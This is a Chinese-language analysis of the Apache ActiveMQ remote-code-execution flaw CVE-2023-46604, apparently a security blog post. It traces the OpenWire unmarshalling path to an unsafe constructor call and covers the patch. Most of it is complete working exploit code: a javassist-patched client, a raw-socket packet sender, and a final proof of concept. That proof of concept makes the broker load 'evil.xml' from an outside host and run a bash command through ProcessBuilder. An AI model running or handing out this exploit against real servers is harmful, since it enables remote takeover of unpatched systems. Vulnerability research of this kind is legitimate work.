CVE-2023-46604 activemq<5.18.3 RCE 分析
CVE-2023-46604 activemq<5.18.3 RCE 分析
Debuging Environment
使用activemq的官方docker+远程debug
docker需要暴露端口61616,再留一个用于debug的端口
FROM apache/activemq-classic:5.17.5
RUN apt-get update
RUN apt-get install wget curl netcat -y
EXPOSE 61616
EXPOSE 5005
CMD [ "tail","-f","/dev/null" ]
在docker中修改/opt/apache-activemq/bin/linux-x86-64/wrapper.conf
加上一条
wrapper.java.additional.14=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
启动activemq
/opt/apache-activemq/bin/linux-x86-64/activemq console
宿主机上用idea打开activemq的源码,添加远程debug
Arbitrary Constructor(String)
Sink
Sink点在org.apache.activemq.openwire.v12.BaseDataStreamMarshaller#createThrowable
private Throwable createThrowable(String className, String message) {
try {
Class clazz = Class.forName(className, false, BaseDataStreamMarshaller.class.getClassLoader());
Constructor constructor = clazz.getConstructor(new Class[] {String.class});
return (Throwable)constructor.newInstance(new Object[] {message});
} catch (Throwable e) {
return new Throwable(className + ": " + message);
}
}
这个函数用反射的方法调用constructor.newInstance
,实例化任意构造器的参数是一个string的类
来看看如何从Source走到这里。首先来了解一下消息队列和activemq的通信流程
Java Message Service
在JMS中,producer client和consumer client异步地向broker建立连接。Queue是可消耗性的,topic是无限的。
activemq messaging
抓流量看看activemq中producer在queue里添加一个对象,client和broker的通讯过程
package org.example;
import org.apache.activemq.ActiveMQConnectionFactory;
import javax.jms.*;
public class ProducerDemo {
public static void main(String[] args) throws Exception {
ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://localhost:61616");
Connection connection = connectionFactory.createConnection();
connection.start();
Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
Destination destination = session.createQueue("myQueue");
MessageProducer producer = session.createProducer(destination);
// TextMessage message = session.createTextMessage("Hello, ActiveMQ!");
ObjectMessage message=session.createObjectMessage(new Student("bridge"));
producer.send(message);
session.close();
connection.close();
}
}
activemq的broker和client用OpenWire应用层协议通信,传输层用的是TCP协议。
而通过OpenWire通信的包会在org.apache.activemq.openwire#doUnmarshal反序列化。
doUnmarshal:367, OpenWireFormat (org.apache.activemq.openwire)
unmarshal:290, OpenWireFormat (org.apache.activemq.openwire)
readCommand:240, TcpTransport (org.apache.activemq.transport.tcp)
doRun:232, TcpTransport (org.apache.activemq.transport.tcp)
run:215, TcpTransport (org.apache.activemq.transport.tcp)
run:-1, Thread (java.lang)
public Object doUnmarshal(DataInput dis) throws IOException {
byte dataType = dis.readByte();
if (dataType != NULL_TYPE) {
DataStreamMarshaller dsm = dataMarshallers[dataType & 0xFF];
if (dsm == null) {
throw new IOException("Unknown data type: " + dataType);
}
Object data = dsm.createObject();
if (this.tightEncodingEnabled) {
BooleanStream bs = new BooleanStream();
bs.unmarshal(dis);
dsm.tightUnmarshal(this, data, dis, bs);
} else {
dsm.looseUnmarshal(this, data, dis);
}
return data;
} else {
return null;
}
}
根据dataType指定的DataStreamMarshaller实现类,调用createObject方法。然后根据tightEncodingEnabled
选择tightUnmarshal或looseUnmarshal
ExceptionResponseMarshaller
在上述的DataStreamMarshaller实现类中,ExceptionResponseMarshaller#looseUnmarshal会调用looseUnmarsalThrowable,从而调用org.apache.activemq.openwire.v12.BaseDataStreamMarshaller#createThrowable到达sink
public void looseUnmarshal(OpenWireFormat wireFormat, Object o, DataInput dataIn) throws IOException {
super.looseUnmarshal(wireFormat, o, dataIn);
ExceptionResponse info = (ExceptionResponse)o;
info.setException((java.lang.Throwable) looseUnmarsalThrowable(wireFormat, dataIn));
}
Exploit1
首先用选项强制broker使用looseMarshalThrowable
tcp://localhost:61616?wireFormat.tightEncodingEnabled=false
Modify ResponseCorrelator
注意到在producer向broker发送对象时,会经过ResponseCorrelator#request。如果此时command是一个Exception,就会在后续使用ExceptionResponseMarshaller把对象传递过去。
public Object request(Object command) throws IOException {
FutureResponse response = asyncRequest(command, null);
return response.getResult();
}
借用javassist修改这个方法
void modifyResponseCorrelator() throws Exception {
ClassPool cp = ClassPool.getDefault();
CtClass cc = cp.get("org.apache.activemq.transport.ResponseCorrelator");
CtMethod method = cc.getDeclaredMethod("request", new CtClass[]{cp.get("java.lang.Object")});
method.insertBefore(" if (command instanceof javax.jms.TextMessage) {\n" +
" command = new org.apache.activemq.command.ExceptionResponse(new RuntimeException(\"1\"));\n" +
" org.apache.activemq.transport.FutureResponse response = asyncRequest(command, null);\n" +
" return response.getResult();\n" +
" }");
cc.toClass();
}
Modify BaseDataStreamMarshaller
修改上诉方法后,activemq会使用BaseDataStreamMarshaller#looseMarshalThrowable。修改这个函数的流程,让它写入指定的类和构造器参数
void modifyExceptionResponseMarshaller(String clazz, String arg) throws Exception {
ClassPool cp = ClassPool.getDefault();
// 获取ExceptionResponse类
CtClass cc = cp.get("org.apache.activemq.openwire.v12.BaseDataStreamMarshaller");
CtMethod marshal = cc.getDeclaredMethod("looseMarshalThrowable");
cc.removeMethod(marshal);
CtMethod newmarshal = CtNewMethod.make(" protected void looseMarshalThrowable(org.apache.activemq.openwire.OpenWireFormat wireFormat, Throwable o, java.io.DataOutput dataOut)" +
" throws java.io.IOException {\n" +
" dataOut.writeBoolean(o != null);\n" +
" if (o != null) {\n" +
" looseMarshalString(\""+clazz+"\", dataOut);\n" +
" looseMarshalString(\""+arg+"\", dataOut);\n" +
" if (wireFormat.isStackTraceEnabled()) {\n" +
" StackTraceElement[] stackTrace = o.getStackTrace();\n" +
" dataOut.writeShort(stackTrace.length);\n" +
" for (int i = 0; i < stackTrace.length; i++) {\n" +
" StackTraceElement element = stackTrace[i];\n" +
" looseMarshalString(element.getClassName(), dataOut);\n" +
" looseMarshalString(element.getMethodName(), dataOut);\n" +
" looseMarshalString(element.getFileName(), dataOut);\n" +
" dataOut.writeInt(element.getLineNumber());\n" +
" }\n" +
" looseMarshalThrowable(wireFormat, o.getCause(), dataOut);\n" +
" }\n" +
" }\n" +
" }", cc);
cc.addMethod(newmarshal);
cc.toClass();
}
"Produce"
完整利用代码如下
package org.example;
import javassist.*;
import org.apache.activemq.ActiveMQConnectionFactory;
import javax.jms.*;
public class Exploit {
public static void main(String[] args) {
try {
new Exploit().exploit("tcp://localhost:61616?wireFormat.tightEncodingEnabled=false");
} catch (Exception ex) {
ex.printStackTrace();
}
}
void exploit(String url) throws Exception {
// modify class
modifyExceptionResponseMarshaller("clazz", "string");
modifyResponseCorrelator();
// send message
ConnectionFactory connectionFactory = new ActiveMQConnectionFactory(url);
Connection connection = connectionFactory.createConnection();
connection.start();
Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
Destination destination = session.createQueue("myQueue");
MessageProducer producer = session.createProducer(destination);
TextMessage message = session.createTextMessage("Pwned!");
producer.send(message);
session.close();
connection.close();
}
void modifyExceptionResponseMarshaller(String clazz, String arg) throws Exception {
ClassPool cp = ClassPool.getDefault();
// 获取ExceptionResponse类
CtClass cc = cp.get("org.apache.activemq.openwire.v12.BaseDataStreamMarshaller");
CtMethod marshal = cc.getDeclaredMethod("looseMarshalThrowable");
cc.removeMethod(marshal);
CtMethod newmarshal = CtNewMethod.make(" protected void looseMarshalThrowable(org.apache.activemq.openwire.OpenWireFormat wireFormat, Throwable o, java.io.DataOutput dataOut)" +
" throws java.io.IOException {\n" +
" dataOut.writeBoolean(o != null);\n" +
" if (o != null) {\n" +
" looseMarshalString(\""+clazz+"\", dataOut);\n" +
" looseMarshalString(\""+arg+"\", dataOut);\n" +
" if (wireFormat.isStackTraceEnabled()) {\n" +
" StackTraceElement[] stackTrace = o.getStackTrace();\n" +
" dataOut.writeShort(stackTrace.length);\n" +
" for (int i = 0; i < stackTrace.length; i++) {\n" +
" StackTraceElement element = stackTrace[i];\n" +
" looseMarshalString(element.getClassName(), dataOut);\n" +
" looseMarshalString(element.getMethodName(), dataOut);\n" +
" looseMarshalString(element.getFileName(), dataOut);\n" +
" dataOut.writeInt(element.getLineNumber());\n" +
" }\n" +
" looseMarshalThrowable(wireFormat, o.getCause(), dataOut);\n" +
" }\n" +
" }\n" +
" }", cc);
cc.addMethod(newmarshal);
cc.toClass();
}
void modifyResponseCorrelator() throws Exception {
ClassPool cp = ClassPool.getDefault();
CtClass cc = cp.get("org.apache.activemq.transport.ResponseCorrelator");
CtMethod method = cc.getDeclaredMethod("request", new CtClass[]{cp.get("java.lang.Object")});
method.insertBefore(" if (command instanceof javax.jms.TextMessage) {\n" +
" command = new org.apache.activemq.command.ExceptionResponse(new RuntimeException(\"1\"));\n" +
" org.apache.activemq.transport.FutureResponse response = asyncRequest(command, null);\n" +
" return response.getResult();\n" +
" }");
cc.toClass();
}
}
Exploit2: from scratch
可以根据openwire协议的官方文档
结合debug broker手搓一个报文,不依赖任何第三方依赖
package org.example;
import javax.xml.crypto.Data;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.net.Socket;
public class ScratchExploit {
public static void main(String[] args) throws IOException {
Socket socket = new Socket("127.0.0.1", 61616);
OutputStream os = socket.getOutputStream();
DataOutputStream dos = new DataOutputStream(os);
dos.writeInt(0);// size
dos.writeByte(31);// type
dos.writeInt(0);// CommandId
dos.writeBoolean(false);// Command response required
dos.writeInt(0);// CorrelationId
// body
dos.writeBoolean(true);
// UTF
dos.writeBoolean(true);
dos.writeUTF("clazz");
dos.writeBoolean(true);
dos.writeUTF("string");
dos.close();
os.close();
socket.close();
}
}
RCE
在能调用Constructor(String)后,选择了这个activemq自带的gadget类:
org.springframework.context.support.ClassPathXmlApplicationContext
Final POC
用http服务器serve如下xml
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[touch /tmp/pwned]]></value>
</list>
</constructor-arg>
</bean>
</beans>
运行
package org.example;
import javax.xml.crypto.Data;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.net.Socket;
public class ScratchExploit {
public static void main(String[] args) throws IOException {
Socket socket = new Socket("127.0.0.1", 61616);
OutputStream os = socket.getOutputStream();
DataOutputStream dos = new DataOutputStream(os);
dos.writeInt(0);// size
dos.writeByte(31);// type
dos.writeInt(0);// CommandId
dos.writeBoolean(false);// Command response required
dos.writeInt(0);// CorrelationId
// body
dos.writeBoolean(true);
// UTF
dos.writeBoolean(true);
dos.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext");
dos.writeBoolean(true);
dos.writeUTF("http://172.18.32.1:3001/evil.xml");
dos.close();
os.close();
socket.close();
}
}
Patchs
AMQ-9370 - Openwire marshaller should validate Throwable class type · apache/activemq@958330d
对于BaseDataStreamMarshaller#createThrowable方法,增加了对class是否为Throwable的校验
private Throwable createThrowable(String className, String message) {
try {
Class clazz = Class.forName(className, false, BaseDataStreamMarshaller.class.getClassLoader());
OpenWireUtil.validateIsThrowable(clazz);
Constructor constructor = clazz.getConstructor(new Class[] {String.class});
return (Throwable)constructor.newInstance(new Object[] {message});
} catch (IllegalArgumentException e) {
return e;
} catch (Throwable e) {
return new Throwable(className + ": " + message);
}
绕过思考
我这里尝试用tabby寻找这样一个类:
1. 继承了Throwable
2. 构造器接受一个String参数
3. 能走到sink
match (constructor:Method{NAME:"<init>",IS_PUBLIC:true})
match (clazz:Class)
match (throwable:Class)
match (sink:Method {IS_SINK:true})
where
throwable.NAME="java.lang.Throwable"
and constructor.PARAMETER_SIZE=1 and constructor.SUB_SIGNATURE="void <init>(java.lang.String)"
and (clazz)-[:HAS]->(constructor)
and (clazz)-[:EXTENDS*]->(throwable)
call apoc.algo.allSimplePaths(sink,constructor, "<CALL|ALIAS", 5) yield path
return path
很遗憾,我并没有找到合适的类。
References
https://activemq.apache.org/openwire-version-2-specification